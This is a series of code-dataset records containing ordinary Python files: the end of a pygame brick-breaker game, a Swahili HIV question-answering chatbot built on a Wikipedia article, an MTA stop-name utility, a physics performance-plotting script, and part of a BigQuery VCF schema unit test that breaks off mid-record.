gameLoop()\r\n else:\r\n pygame.draw.rect(screen, black, (screenwidth/2 - 250, 530, 500, 60))\r\n pygame.draw.rect(screen, darkgrey, (screenwidth/2 - 240, 540, 480, 40))\r\n\r\n #Play again text\r\n textSurf, textRect = text_objects(\"Play Again\", smallText)\r\n textRect.center = ((screenwidth/2), (540 + 20))\r\n screen.blit(textSurf, textRect)\r\n\r\n #Quit text\r\n textSurf, textRect = text_objects(\"Quit\", smallText)\r\n textRect.center = ((screenwidth/2), (610 + 20))\r\n screen.blit(textSurf, textRect)\r\n\r\n #You won Text\r\n textSurf, textRect = text_objects(\"You Won!\", medText)\r\n textRect.center = ((screenwidth / 2), (screenheight * 0.25))\r\n screen.blit(textSurf, textRect)\r\n textSurf, textRect = text_objects(\"Congratulations!\", medText)\r\n textRect.center = ((screenwidth / 2), (screenheight * 0.35))\r\n screen.blit(textSurf, textRect)\r\n\r\n #Score display text\r\n losingMessage = \"Score: \" + str(player.score * 100 + player.lives * 100)\r\n textSurf, textRect = text_objects(losingMessage, mediumText)\r\n textRect.center = ((screenwidth / 2), (screenheight * 0.5))\r\n screen.blit(textSurf, textRect)\r\n \r\n pygame.display.update() #Update display\r\n clock.tick(30) #FPS to 30\r\n \r\n#Create an 1152 by 832 sized screen (works with dimensions for tile map)\r\nscreenwidth = 1152\r\nscreenheight = 832\r\nscreen = pygame.display.set_mode((screenwidth, screenheight), 0, 32)\r\n \r\n# Set the caption of the window\r\npygame.display.set_caption(\"Nick's Bricks!\")\r\n \r\n#Creates the sprites out of the classes\r\nball = Ball()\r\nplayer = Player()\r\nHborder = hBorder()\r\nVBorderr = VBorder_R()\r\nVBorderl = VBorder_L()\r\n\r\n#Creates the groups\r\nballs = pygame.sprite.Group()\r\nHwalls = pygame.sprite.Group()\r\nVwalls = pygame.sprite.Group()\r\nmovingsprites = pygame.sprite.Group()\r\nmovingsprites.add(player)\r\n\r\n#Adds the sprites to the groups\r\nmovingsprites.add(ball)\r\nHwalls.add(Hborder)\r\nVwalls.add(VBorderr)\r\nVwalls.add(VBorderl)\r\nballs.add(ball)\r\n\r\nclock = pygame.time.Clock() #Initialize clock\r\n\r\n#######################################################################################################GAMELOOP###############################################################################################\r\ndef gameLoop():\r\n \r\n pygame.mixer.music.play(-1) #Play the background music\r\n\r\n #Set lives and score to starting values\r\n player.lives = 3\r\n player.score = 0\r\n \r\n #Reset the ball and player\r\n ball.reset()\r\n player.playerReset()\r\n\r\n #Tilemap for the level\r\n level = [\r\n [0,0,0,0,0,0,0,0,0],\r\n [0,0,0,0,0,0,0,0,0],\r\n [0,0,0,0,1,0,0,0,0],\r\n [0,0,0,2,2,2,0,0,0],\r\n [0,0,2,2,2,2,2,0,0],\r\n [0,1,2,2,2,2,2,1,0],\r\n [0,0,2,2,2,2,2,0,0],\r\n [0,0,0,2,2,2,0,0,0],\r\n [0,0,0,0,1,0,0,0,0],\r\n [0,0,0,0,0,0,0,0,0],\r\n [0,0,0,0,0,0,0,0,0],\r\n [0,0,0,0,0,0,0,0,0],\r\n [0,0,0,0,0,0,0,0,0]\r\n ]\r\n\r\n #Lists to store positions of metal bricks and bricks \r\n MB_positions = []\r\n B_positions = []\r\n\r\n #Creates a group for metalbricks and bricks\r\n metalBricks = pygame.sprite.Group()\r\n bricks = pygame.sprite.Group()\r\n\r\n #Adds the positions of the bricks and metal bricks based on spot on tilemap\r\n for y in range(0, len(level)):\r\n for x in range(0,len(level[y])):\r\n if level[y][x]==1:\r\n MB_positions.append((x*128, y*64))\r\n if level[y][x]==2:\r\n B_positions.append((x*128, y*64))\r\n\r\n #For each position in the metal brick position list\r\n for position in MB_positions:\r\n #Create a metalbrick sprite, add it to the group, and display it at the position\r\n metalBrick = MetalBrick()\r\n metalBrick.display(position)\r\n metalBricks.add(metalBrick)\r\n\r\n #For each position in the brick position list\r\n for position in B_positions:\r\n #Create a metalbrick sprite, add it to the group, and display it at the position\r\n brick = Brick()\r\n brick.display(position)\r\n bricks.add(brick)\r\n \r\n done = False\r\n\r\n #Actual loop\r\n while not done:\r\n \r\n #If quit, quit\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n pygame.quit()\r\n\r\n screen.fill(grey) #Fill the screen with the background colour\r\n\r\n #DRAW SCORE AND LIVES BOXES AND PUT TEXT INTO THEM\r\n pygame.draw.rect(screen, black, (65, 790, 170, 60))\r\n pygame.draw.rect(screen, darkgrey, (75, 800, 150, 50))\r\n\r\n pygame.draw.rect(screen, black, (887, 790, 227, 60))\r\n pygame.draw.rect(screen, darkgrey, (897, 800, 207, 50))\r\n\r\n text = pygame.font.Font(\"techno_hideo.ttf\", 30)\r\n livesDisplay = \"Lives: \" + str(player.lives)\r\n textSurf, textRect = text_objects(livesDisplay, text)\r\n textRect.center = ((150), (815))\r\n screen.blit(textSurf, textRect)\r\n \r\n text = pygame.font.Font(\"techno_hideo.ttf\", 30)\r\n scoreDisplay = \"Score: \" + str(player.score * 100)\r\n textSurf, textRect = text_objects(scoreDisplay, text)\r\n textRect.center = ((1000), (815))\r\n screen.blit(textSurf, textRect)\r\n \r\n #Check win condition\r\n if player.score == 21: #If they won, take them to the win screen\r\n gameWin()\r\n\r\n #Update the groups\r\n player.update()\r\n balls.update()\r\n Vwalls.update()\r\n Hwalls.update()\r\n metalBricks.update()\r\n bricks.update()\r\n\r\n #Collisions\r\n collisionBall_Hwalls = pygame.sprite.spritecollide(ball, Hwalls, False)\r\n collisionBall_Vwalls = pygame.sprite.spritecollide(ball, Vwalls, False)\r\n collisionPlayer_ball = pygame.sprite.spritecollide(player, balls, False)\r\n collisionBall_MetalBrick = pygame.sprite.spritecollide(ball, metalBricks, False)\r\n collisionBall_Brick = pygame.sprite.spritecollide(ball, bricks, True)\r\n\r\n #Collision action between ball and top wall\r\n for collision in collisionBall_Hwalls:\r\n #Invert y speed and play collision sound\r\n ball.speedy *= -1 \r\n pygame.mixer.Sound.play(collision_sound) \r\n\r\n #Collision action between ball and side walls\r\n for collision in collisionBall_Vwalls:\r\n #Invert x speed and play collision sound\r\n ball.speedx *= -1\r\n pygame.mixer.Sound.play(collision_sound)\r\n\r\n #Collision action between ball and platform\r\n for collision in collisionPlayer_ball:\r\n if ball.rect.y <= collision.rect.top:\r\n #Invert y speed and play collision sound\r\n ball.speedy *= -1\r\n pygame.mixer.Sound.play(collision_sound)\r\n\r\n #Collision action between ball and metal brick\r\n for collision in collisionBall_MetalBrick:\r\n if ball.rect.centerx <= collision.rect.x or ball.rect.centerx >= collision.rect.x + 128: #If the ball collided on the vertical sides\r\n #Invert x speed and play collision sound\r\n ball.speedx *= -1\r\n pygame.mixer.Sound.play(collision_sound)\r\n elif ball.rect.centery <= collision.rect.y or ball.rect.centery >= collision.rect.y + 64: #If the ball collided on the horizontal sides\r\n #Invert y speed and play collision sound\r\n ball.speedy *= -1\r\n pygame.mixer.Sound.play(collision_sound)\r\n\r\n #Collision action between ball and brick\r\n for collision in collisionBall_Brick:\r\n if ball.rect.centerx <= collision.rect.left or ball.rect.centerx >= collision.rect.right: #If the ball collided on the vertical sides\r\n #Invert x speed and play collision sound, and add 1 to score\r\n ball.speedx *= -1\r\n player.score += 1\r\n pygame.mixer.Sound.play(collision_sound)\r\n elif ball.rect.centery <= collision.rect.top or ball.rect.centery >= collision.rect.bottom: #If the ball collided on the horizontal sides\r\n #Invert y speed and play collision sound, and add 1 to score\r\n ball.speedy *= -1\r\n player.score += 1\r\n pygame.mixer.Sound.play(collision_sound)\r\n\r\n #Moves the platform if the user presses the arrow keys\r\n key = pygame.key.get_pressed()\r\n if key[pygame.K_LEFT]:\r\n player.move(-10, 0)\r\n if key[pygame.K_RIGHT]:\r\n player.move(10, 0)\r\n \r\n #Draw Everything\r\n movingsprites.draw(screen)\r\n Hwalls.draw(screen)\r\n Vwalls.draw(screen)\r\n metalBricks.draw(screen)\r\n bricks.draw(screen)\r\n\r\n \r\n #Update the screen\r\n pygame.display.flip()\r\n \r\n clock.tick(30) #Set FPS to 30\r\n\r\ngameIntro() #Call the Game intro function\r\ngameLoop()#When that is over, call the gameloop function\r\npygame.quit() #Finally, pygame.quit()\r\n","sub_path":"brickbreaker.py","file_name":"brickbreaker.py","file_ext":"py","file_size_in_byte":31096,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"644981274","text":"from newspaper import Article\nimport random\nimport string\nimport nltk\nimport numpy as np\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.metrics.pairwise import cosine_similarity\nimport warnings\nwarnings.filterwarnings('ignore')\n\n# list of swahili stopwords \nstopwords = [\"akasema\",\"alikuwa\",\"alisema\",\"baada\",\"basi\",\"bila\",\"cha\",\"chini\",\"hadi\",\"hapo\",\"hata\",\"hivyo\",\"hiyo\",\"huku\",\"huo\",\"ili\",\"ilikuwa\",\"juu\",\"kama\",\"karibu\",\"katika\",\"kila\",\"kima\",\"kisha\",\"kubwa\",\"kutoka\",\"kuwa\",\"kwa\",\"kwamba\",\"kwenda\",\"kwenye\",\"la\",\"lakini\",\"mara\",\"mdogo\",\"mimi\",\"mkubwa\",\"mmoja\",\"moja\",\"muda\",\"mwenye\",\"na\",\"naye\",\"ndani\",\"ng\",\"ni\",\"nini\",\"nonkungu\",\"pamoja\",\"pia\",\"sana\",\"sasa\",\"sauti\",\"tafadhali\",\"tena\",\"tu\",\"vile\",\"wa\",\"wakati\",\"wake\",\"walikuwa\",\"wao\",\"watu\",\"wengine\",\"wote\",\"ya\",\"yake\",\"yangu\",\"yao\",\"yeye\",\"yule\",\"za\",\"zaidi\",\"zake\"]\n\nnltk.download('punkt', quiet=True)\n\n# get the article\narticle = Article(\"https://sw.wikipedia.org/wiki/Ukimwi\")\narticle.download()\narticle.parse()\narticle.nlp()\ncorpus = article.text\n\ntext = corpus\nsentence_list = nltk.sent_tokenize(text) # a list of sentences\n\n# a Function to perform data cleaning \n\ndef clean_string(text):\n # Removing punctuation from a given string\n text = ''.join([word for word in text if word not in string.punctuation])\n \n # Converting to lower case\n text = text.lower()\n \n # removing stopwords\n text = ' '.join([word for word in text.split() if word not in stopwords])\n \n return text\n\n#built in map function instead of loop to perform the sentence transformation\ncleaned_sentence_list = list( map(clean_string, sentence_list))\n\ndef index_sort(list_var):\n length = len(list_var)\n list_index = list(range(0,length))\n \n x = list_var\n for i in range (length):\n for j in range(length):\n if x[list_index[i]] > x[list_index[j]]:\n #swap\n temp = list_index[i]\n list_index[i] = list_index[j]\n list_index[j] = temp\n \n return list_index\n\n# a function to return a random greeting response to a users greetings \ndef greeting_response(text):\n text = text.lower()\n \n #Bots random greetings \n bot_greetings = ['poa', 'baridi', 'safi', 'kama kawa']\n \n #user greetings\n \n user_greetings = ['mambo', 'vipi', 'vip', 'niaje']\n \n for word in text.split():\n if word in user_greetings:\n return random.choice(bot_greetings)\n return None\n \n# create bot response\ndef bot_response(user_input): \n #cleaning user data \n cleaned_user_input = clean_string(user_input)\n \n cleaned_user_input_length = len(cleaned_user_input)\n \n cleaned_sentence_list.append(cleaned_user_input)\n sentence_list.append( user_input.lower() )\n \n \n cm = CountVectorizer().fit_transform(cleaned_sentence_list)\n \n # get the similarity score\n similarity_scores = cosine_similarity(cm[-1], cm)\n similarty_scores_list = similarity_scores.flatten()\n \n # to get index of the highest element\n index = index_sort(similarty_scores_list)\n \n # removing the first index which is obviously the user's own input\n index = index[1:]\n response_flag = 0\n \n #for counting the number of scores that are above 0\n j = 0\n \n #initilize the bot response to an empty string\n bot_response = ''\n for i in range(len(index)):\n if similarty_scores_list[index[i]] > 0.0:\n bot_response = bot_response + \" \" + sentence_list[index[i]]\n response_flag = 1 \n \n j = j+1\n \n# checking for single words \n# could be compared to user_input_length instead\n# if cleaned_user_input_length <= 1:\n# bot_response = bot_response + \" not enough data to get distinct results\"\n# break\n \n if j > 2:\n break\n if response_flag == 0:\n bot_response = bot_response + ' ' + \"I apologize, I don\\'t understand\"\n \n # removing the added user input\n cleaned_sentence_list.remove(clean_string(user_input) )\n sentence_list.remove(user_input.lower())\n \n return bot_response\n\nexit_list = ['exit', 'bye', 'end']\n\ndef user_input_f():\n print(\"This is Doc Bot ready to answer your questions \")\n \n while(True):\n user_input = input()\n \n if user_input.lower() in exit_list:\n print('Doc Bot: ' + \"Bye\")\n break\n else:\n if greeting_response(user_input) != None:\n print('Doc Bot: ' + greeting_response(user_input))\n else:\n bot_answer = bot_response(user_input)\n \n print('Doc Bot: ' + bot_answer )","sub_path":"swahili_hiv_bot.py","file_name":"swahili_hiv_bot.py","file_ext":"py","file_size_in_byte":4729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"477519984","text":"from functools import lru_cache\n\nclass StopFile:\n \"\"\"\n Singleton class for loading stop file once, we really should only have one stop file at a time\n \"\"\"\n\n class __StopFile:\n def __init__(self, file_dir):\n import pandas as pd\n self.file_dir = file_dir\n self.df = pd.read_csv(file_dir + '/stops.txt')\n self.df['CleanStopName'] = self.df.stop_name.map(normalize_name)\n\n instance = None\n\n def __init__(self, file_dir=None):\n import os\n if file_dir is None:\n proj_dir = os.path.dirname(os.path.dirname(os.path.realpath(os.path.basename(__file__))))\n file_dir = os.path.join(proj_dir, 'data/raw/status/google_transit')\n\n if (StopFile.instance is None) or (StopFile.instance.file_dir != file_dir):\n StopFile.instance = StopFile.__StopFile(file_dir)\n\n def __getattr__(self, name):\n return getattr(self.instance, name)\n\n@lru_cache()\ndef stop_id2name(stop_id):\n df = StopFile().df\n try:\n names = df.stop_name[df.stop_id.str.match(stop_id)]\n return names.iloc[0]\n except IndexError:\n return None\n\n return df.stop_name.iloc[idx]\n\ndef normalize_name(stop_name):\n import re\n\n # Remove any borough annotations\n clean_name = re.sub(r' ?\\(.*\\)', '', stop_name)\n\n clean_name = clean_name.lower()\n clean_name = re.sub('[^0-9a-z]+', '', clean_name)\n\n return clean_name\n\ndef name2stop_ids(stop_name, stop_list=None):\n \"\"\"\n :param stop_name: Name of the stop\n :return: pandas.Series of possibly matching stop_ids\n \"\"\"\n df = StopFile().df\n stop_ids = df.stop_id[df['CleanStopName'].str.match(normalize_name(stop_name))]\n if stop_list:\n stop_set = set(stop_list)\n stop_ids = stop_ids[stop_ids.map(lambda x: x in stop_set)]\n return stop_ids\n","sub_path":"MTADelayPredict/utils/stop_info.py","file_name":"stop_info.py","file_ext":"py","file_size_in_byte":1840,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"580110684","text":"import src.modules.helper_functions as hf\nimport src.modules.reporting as rpt\nimport argparse\nimport pickle\nfrom src.modules.constants import *\nfrom pathlib import Path\nimport numpy as np\n\ndef t_plot(models, perf_classes, title=None, savefig=None):\n # * t plot\n edges, y, yerr, label = [], [], [], []\n data, bins, weights, histtype, log = [], [], [], [], []\n for model, pc in zip(models, perf_classes):\n pd = pc.get_t_dict()\n edges.extend(pd['edges'])\n y.extend(pd['y'])\n yerr.extend(pd['yerr'])\n label.append(model)\n\n pd_h = pc.get_energy_dict()\n data.extend(pd_h['data'])\n bins.extend(pd_h['bins'])\n weights.extend(pd_h['weights'])\n histtype.extend(pd_h['histtype'])\n log.extend(pd_h['log'])\n del pd_h['color']\n\n edges.append(pc.bin_edges)\n y.append(pc.t_crs_sigmas)\n yerr.append(pc.t_crs_errors)\n pd['edges'] = edges\n pd['y'] = y\n pd['yerr'] = yerr\n pd['xlabel'] = r'$\\log_{10}$E [E/GeV]'\n pd['ylabel'] = r'$\\sigma_{t}$ [ns]'\n pd['yrange'] = [0, 420]\n if savefig:\n pd['savefig'] = savefig\n\n fig = rpt.make_plot(pd)\n return fig\n\n# * VERTEX REG WITH OR WITHOUT MASK? BEST MODELS \n# * 16.57.20 IS WITH MASK, 21.01.31 IS WITHOUT\nmodels = ['2020-01-11-01.23.49']\n# models = ['2020-01-08-13.54.40', ]\n\nperf_classes = []\nfor model in models:\n \n # * Locate the model directory\n paths = hf.find_files(model)\n for path in paths:\n if path.split('/')[-1] == model:\n break\n \n perf_class_path = path +'/data/VertexPerformance.pickle'\n perf_class = pickle.load( open( perf_class_path, \"rb\" ) )\n perf_classes.append(perf_class)\n\npath = get_project_root() + '/reports/plots/jason_t.pdf'\n\nfig = t_plot(models, perf_classes, savefig=path)\n\n\ndef energy_plot(models, perf_classes, title=None, savefig=None):\n # * t plot\n edges, y, yerr, label = [], [], [], []\n data, bins, weights, histtype, log = [], [], [], [], []\n for model, pc in zip(models, perf_classes):\n pd = pc.get_relE_dict()\n\n pd_edges = [pd['edges'][0][:]]\n pd_y = [pd['y'][0][:]]\n pd_yerr = [pd['yerr'][0][:]] \n\n edges.extend(pd_edges)\n y.extend(pd_y)\n yerr.extend(pd_yerr)\n label.append(model)\n\n\n edges.append(pc.bin_edges)\n y.append(pc.relE_crs_sigmas)\n yerr.append(pc.relE_crs_errors)\n label.append('Icecube')\n pd['edges'] = edges\n pd['y'] = y\n pd['yerr'] = yerr\n pd['xlabel'] = r'$\\log_{10}$E [E/GeV]'\n pd['ylabel'] = r'Relative Error, $\\sigma\\left( \\left(E_{pred}-E_{true}\\right)/E_{true}\\right)$'\n if savefig:\n pd['savefig'] = savefig\n\n fig = rpt.make_plot(pd)\n return fig\n\n# * ENERGY REG VS POINTNET \n# * Stacked LSTM 256 HUBER LOSS, L2 1024 LSTM, LSTM 512 HUBER LOSS\nmodels = ['2020-01-19-22.00.11']\n\n# models = ['2020-01-08-13.54.40', ]\n\nperf_classes = []\nfor model in models:\n \n # * Locate the model directory\n paths = hf.find_files(model)\n for path in paths:\n if path.split('/')[-1] == model:\n break\n \n perf_class_path = path +'/data/EnergyPerformance.pickle'\n perf_class = pickle.load( open( perf_class_path, \"rb\" ) )\n perf_classes.append(perf_class)\n\npath = get_project_root() + '/reports/plots/jason_energy.pdf'\n\nfig = energy_plot(models, perf_classes, savefig=path)","sub_path":"src/scripts/old/jasons_plots.py","file_name":"jasons_plots.py","file_ext":"py","file_size_in_byte":3362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"332843075","text":"# Copyright 2017 Google Inc. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Tests for bigquery_vcf_schema module.\"\"\"\n\nfrom __future__ import absolute_import\n\nfrom collections import OrderedDict\nimport json\nimport sys\nimport unittest\n\nfrom apache_beam.io.gcp.internal.clients import bigquery\n\nfrom vcf.parser import _Format as Format\nfrom vcf.parser import _Info as Info\nfrom vcf.parser import field_counts\n\nfrom gcp_variant_transforms.beam_io import vcfio\nfrom gcp_variant_transforms.libs import bigquery_schema_descriptor\nfrom gcp_variant_transforms.libs import bigquery_vcf_schema\nfrom gcp_variant_transforms.libs import processed_variant\nfrom gcp_variant_transforms.libs import vcf_field_conflict_resolver\nfrom gcp_variant_transforms.libs import vcf_header_parser\nfrom gcp_variant_transforms.libs.bigquery_util import ColumnKeyConstants\nfrom gcp_variant_transforms.libs.bigquery_util import TableFieldConstants\nfrom gcp_variant_transforms.libs.variant_merge import variant_merge_strategy\nfrom gcp_variant_transforms.testing import mock_bigquery_schema_descriptor\n\nclass _DummyVariantMergeStrategy(variant_merge_strategy.VariantMergeStrategy):\n \"\"\"A dummy strategy. It just adds a new field to the schema.\"\"\"\n\n def modify_bigquery_schema(self, schema, info_keys):\n schema.fields.append(bigquery.TableFieldSchema(\n name='ADDED_BY_MERGER',\n type=TableFieldConstants.TYPE_STRING,\n mode=TableFieldConstants.MODE_NULLABLE))\n\n\nclass GenerateSchemaFromHeaderFieldsTest(unittest.TestCase):\n \"\"\"Test cases for the ``generate_schema_from_header_fields`` function.\"\"\"\n\n def _generate_expected_fields(self, alt_fields=None, call_fields=None,\n info_fields=None):\n fields = [ColumnKeyConstants.REFERENCE_NAME,\n ColumnKeyConstants.START_POSITION,\n ColumnKeyConstants.END_POSITION,\n ColumnKeyConstants.REFERENCE_BASES,\n ColumnKeyConstants.ALTERNATE_BASES,\n '.'.join([ColumnKeyConstants.ALTERNATE_BASES,\n ColumnKeyConstants.ALTERNATE_BASES_ALT])]\n fields.extend(\n ['.'.join([ColumnKeyConstants.ALTERNATE_BASES, a])\n for a in alt_fields or []])\n fields.extend([ColumnKeyConstants.NAMES,\n ColumnKeyConstants.QUALITY,\n ColumnKeyConstants.FILTER,\n ColumnKeyConstants.CALLS,\n '.'.join([ColumnKeyConstants.CALLS,\n ColumnKeyConstants.CALLS_NAME]),\n '.'.join([ColumnKeyConstants.CALLS,\n ColumnKeyConstants.CALLS_GENOTYPE]),\n '.'.join([ColumnKeyConstants.CALLS,\n ColumnKeyConstants.CALLS_PHASESET])])\n fields.extend(\n ['.'.join([ColumnKeyConstants.CALLS, c]) for c in call_fields or []])\n fields.extend(info_fields or [])\n return fields\n\n def _get_fields_from_schema(self, schema, prefix=''):\n fields = []\n for field in schema.fields:\n fields.append(prefix + field.name)\n if field.type == TableFieldConstants.TYPE_RECORD:\n fields.extend(self._get_fields_from_schema(field,\n prefix=field.name + '.'))\n return fields\n\n def _assert_fields_equal(self, expected_fields, actual_schema):\n self.assertEqual(expected_fields,\n self._get_fields_from_schema(actual_schema))\n\n def test_no_header_fields(self):\n header_fields = vcf_header_parser.HeaderFields({}, {})\n self._assert_fields_equal(\n self._generate_expected_fields(),\n bigquery_vcf_schema.generate_schema_from_header_fields(\n header_fields,\n processed_variant.ProcessedVariantFactory(header_fields)))\n\n def test_info_header_fields(self):\n infos = OrderedDict([\n ('I1', Info('I1', 1, 'String', 'desc', 'src', 'v')),\n ('I2', Info('I2', 2, 'Integer', 'desc', 'src', 'v')),\n ('IA', Info('IA', field_counts['A'], 'Float', 'desc', 'src', 'v')),\n ('IU', Info('IU', field_counts['.'], 'Character', 'desc', 'src', 'v')),\n ('IG', Info('IG', field_counts['G'], 'String', 'desc', 'src', 'v')),\n ('I0', Info('I0', 0, 'Flag', 'desc', 'src', 'v')),\n ('IA2', Info('IA2', field_counts['A'], 'Float', 'desc', 'src', 'v')),\n ('END', # END should not be included in the generated schema.\n Info('END', 1, 'Integer', 'Special END key', 'src', 'v'))])\n header_fields = vcf_header_parser.HeaderFields(infos, {})\n\n self._assert_fields_equal(\n self._generate_expected_fields(\n alt_fields=['IA', 'IA2'],\n info_fields=['I1', 'I2', 'IU', 'IG', 'I0']),\n bigquery_vcf_schema.generate_schema_from_header_fields(\n header_fields,\n processed_variant.ProcessedVariantFactory(header_fields)))\n\n # Test with split_alternate_allele_info_fields=False.\n actual_schema = bigquery_vcf_schema.generate_schema_from_header_fields(\n header_fields,\n processed_variant.ProcessedVariantFactory(\n header_fields,\n split_alternate_allele_info_fields=False))\n self._assert_fields_equal(\n self._generate_expected_fields(\n info_fields=['I1', 'I2', 'IA', 'IU', 'IG', 'I0', 'IA2']),\n actual_schema)\n # Verify types and modes.\n expected_type_modes = {\n 'I1': (TableFieldConstants.TYPE_STRING,\n TableFieldConstants.MODE_NULLABLE),\n 'I2': (TableFieldConstants.TYPE_INTEGER,\n TableFieldConstants.MODE_REPEATED),\n 'IA': (TableFieldConstants.TYPE_FLOAT,\n TableFieldConstants.MODE_REPEATED),\n 'IU': (TableFieldConstants.TYPE_STRING,\n TableFieldConstants.MODE_REPEATED),\n 'IG': (TableFieldConstants.TYPE_STRING,\n TableFieldConstants.MODE_REPEATED),\n 'I0': (TableFieldConstants.TYPE_BOOLEAN,\n TableFieldConstants.MODE_NULLABLE),\n 'IA2': (TableFieldConstants.TYPE_FLOAT,\n TableFieldConstants.MODE_REPEATED)}\n for field in actual_schema.fields:\n if field.name in expected_type_modes:\n expected_type, expected_mode = expected_type_modes[field.name]\n self.assertEqual(expected_type, field.type)\n self.assertEqual(expected_mode, field.mode)\n\n def test_info_and_format_header_fields(self):\n infos = OrderedDict([\n ('I1', Info('I1', 1, 'String', 'desc', 'src', 'v')),\n ('IA', Info('IA', field_counts['A'], 'Integer', 'desc', 'src', 'v'))])\n # GT and PS should not be set as they're already included in special\n # 'genotype' and 'phaseset' fields.\n formats = OrderedDict([\n ('F1', Format('F1', 1, 'String', 'desc')),\n ('F2', Format('F2', 2, 'Integer', 'desc')),\n ('FU', Format('FU', field_counts['.'], 'Float', 'desc')),\n ('GT', Format('GT', 2, 'Integer', 'Special GT key')),\n ('PS', Format('PS', 1, 'Integer', 'Special PS key'))])\n header_fields = vcf_header_parser.HeaderFields(infos, formats)\n self._assert_fields_equal(\n self._generate_expected_fields(\n alt_fields=['IA'],\n call_fields=['F1', 'F2', 'FU'],\n info_fields=['I1']),\n bigquery_vcf_schema.generate_schema_from_header_fields(\n header_fields,\n processed_variant.ProcessedVariantFactory(header_fields)))\n\n def test_bigquery_field_name_sanitize(self):\n infos = OrderedDict([\n ('_', Info('_', 1, 'String', 'desc', 'src', 'v')),\n ('_A', Info('_A', 1, 'String', 'desc', 'src', 'v')),\n ('0a', Info('0a', 1, 'String', 'desc', 'src', 'v')),\n ('A-B*C', Info('A-B*C', 1, 'String', 'desc', 'src', 'v')),\n ('I-A', Info('I-A', field_counts['A'], 'Float', 'desc', 'src', 'v')),\n ('OK_info_09', Format('OK_info_09', 1, 'String', 'desc'))])\n formats = OrderedDict([\n ('a^b', Format('a^b', 1, 'String', 'desc')),\n ('OK_format_09', Format('OK_format_09', 1, 'String', 'desc'))])\n header_fields = vcf_header_parser.HeaderFields(infos, formats)\n self._assert_fields_equal(\n self._generate_expected_fields(\n alt_fields=['I_A'],\n call_fields=['a_b', 'OK_format_09'],\n info_fields=['field__', 'field__A', 'field_0a', 'A_B_C',\n 'OK_info_09']),\n bigquery_vcf_schema.generate_schema_from_header_fields(\n header_fields,\n processed_variant.ProcessedVariantFactory(header_fields)))\n\n def test_variant_merger_modify_schema(self):\n infos = OrderedDict([\n ('I1', Info('I1', 1, 'String', 'desc', 'src', 'v')),\n ('IA', Info('IA', field_counts['A'], 'Integer', 'desc', 'src', 'v'))])\n formats = OrderedDict([('F1', Format('F1', 1, 'String', 'desc'))])\n header_fields = vcf_header_parser.HeaderFields(infos, formats)\n self._assert_fields_equal(\n self._generate_expected_fields(\n alt_fields=['IA'],\n call_fields=['F1'],\n info_fields=['I1', 'ADDED_BY_MERGER']),\n bigquery_vcf_schema.generate_schema_from_header_fields(\n header_fields,\n processed_variant.ProcessedVariantFactory(header_fields),\n variant_merger=_DummyVariantMergeStrategy()))\n\n\nclass GetRowsFromVariantTest(unittest.TestCase):\n \"\"\"Test cases for the ``get_rows_from_variant`` library function.\"\"\"\n\n def setUp(self):\n self._schema_descriptor = bigquery_schema_descriptor.SchemaDescriptor(\n self._get_table_schema())\n self._conflict_resolver = (\n vcf_field_conflict_resolver.FieldConflictResolver())\n\n def _get_table_schema(self):\n # type (None) -> bigquery.TableSchema\n schema = bigquery.TableSchema()\n schema.fields.append(bigquery.TableFieldSchema(\n name='IB',\n type=TableFieldConstants.TYPE_BOOLEAN,\n mode=TableFieldConstants.MODE_NULLABLE,\n description='INFO foo desc'))\n schema.fields.append(bigquery.TableFieldSchema(\n name='IBR',\n type=TableFieldConstants.TYPE_BOOLEAN,\n mode=TableFieldConstants.MODE_REPEATED,\n description='INFO foo desc'))\n\n schema.fields.append(bigquery.TableFieldSchema(\n name='II',\n type=TableFieldConstants.TYPE_INTEGER,\n mode=TableFieldConstants.MODE_NULLABLE,\n description='INFO foo desc'))\n schema.fields.append(bigquery.TableFieldSchema(\n name='IF',\n type=TableFieldConstants.TYPE_FLOAT,\n mode=TableFieldConstants.MODE_REPEATED,\n description='INFO foo desc'))\n schema.fields.append(bigquery.TableFieldSchema(\n name='IS',\n type=TableFieldConstants.TYPE_STRING,\n mode=TableFieldConstants.MODE_REPEATED,\n description='INFO foo desc'))\n # Call record.\n call_record = bigquery.TableFieldSchema(\n name=ColumnKeyConstants.CALLS,\n type=TableFieldConstants.TYPE_RECORD,\n mode=TableFieldConstants.MODE_REPEATED,\n description='One record for each call.')\n call_record.fields.append(bigquery.TableFieldSchema(\n name='FB',\n type=TableFieldConstants.TYPE_BOOLEAN,\n mode=TableFieldConstants.MODE_NULLABLE,\n description='FORMAT foo desc'))\n call_record.fields.append(bigquery.TableFieldSchema(\n name='FI',\n type=TableFieldConstants.TYPE_INTEGER,\n mode=TableFieldConstants.MODE_NULLABLE,\n description='FORMAT foo desc'))\n call_record.fields.append(bigquery.TableFieldSchema(\n name='FS',\n type=TableFieldConstants.TYPE_STRING,\n mode=TableFieldConstants.MODE_REPEATED,\n description='FORMAT foo desc'))\n schema.fields.append(call_record)\n return schema\n\n def _get_row_list_from_variant(\n self, variant, schema_descriptor=None,\n allow_incompatible_records=False, **kwargs):\n # TODO(bashir2): To make this more of a \"unit\" test, we should create\n # ProcessedVariant instances directly (instead of Variant) and avoid calling\n # create_processed_variant here. Then we should also add cases that\n # have annotation fields.\n header_fields = vcf_header_parser.HeaderFields({}, {})\n proc_var = processed_variant.ProcessedVariantFactory(\n header_fields).create_processed_variant(variant)\n if not schema_descriptor:\n schema_descriptor = mock_bigquery_schema_descriptor.MockSchemaDescriptor()\n\n return list(bigquery_vcf_schema.get_rows_from_variant(\n proc_var, schema_descriptor, self._conflict_resolver,\n allow_incompatible_records, **kwargs))\n\n def test_all_fields(self):\n variant = vcfio.Variant(\n reference_name='chr19', start=11, end=12, reference_bases='C',\n 